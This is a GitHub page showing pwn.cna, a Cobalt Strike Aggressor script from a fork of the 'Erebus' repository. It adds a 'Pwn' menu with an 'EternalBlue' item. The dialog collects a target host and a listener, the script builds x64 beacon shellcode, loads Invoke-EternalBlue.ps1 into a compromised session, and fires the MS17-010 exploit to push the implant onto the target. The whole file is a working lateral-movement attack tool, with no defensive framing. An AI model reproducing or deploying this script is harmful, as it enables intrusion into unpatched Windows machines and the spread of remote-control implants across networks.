forked from DeEpinGh0st/Erebus
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathpwn.cna
30 lines (20 loc) · 1019 Bytes
/
pwn.cna
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#define functions
sub ms17_010 {
$stager = transform(shellcode($3['listener'], false,"x64"),"array");
bpowershell_import!($bid, script_resource("script/Invoke-EternalBlue.ps1"));
bpowerpick($bid, "Invoke-EternalBlue -Target $3['Rhost'] $+ -Shellcode @($stager $+ ) -InitialGrooms $3['InitialGrooms'] $+ -MaxAttempts $3['MaxAttempts']");
}
#append menu
menu "Pwn"{
item "EternalBlue"{
$bid = $1['@'];
$Dialog = dialog("EternalBlue",%(Rhost => beacon_info($bid,"internal"), InitialGrooms => "12", MaxAttempts => "1", bid => $bid),&ms17_010);
dialog_description($Dialog, "EternalBlue Attack Target in Power Shell");
drow_text($Dialog, "Rhost", "Rhost:");
drow_listener($Dialog, "listener", "Listener: ");
drow_text($Dialog, "InitialGrooms", "InitialGrooms:");
drow_text($Dialog, "MaxAttempts", "MaxAttempts:");
dbutton_action($Dialog, "Exploit");
dialog_show($Dialog);
}
}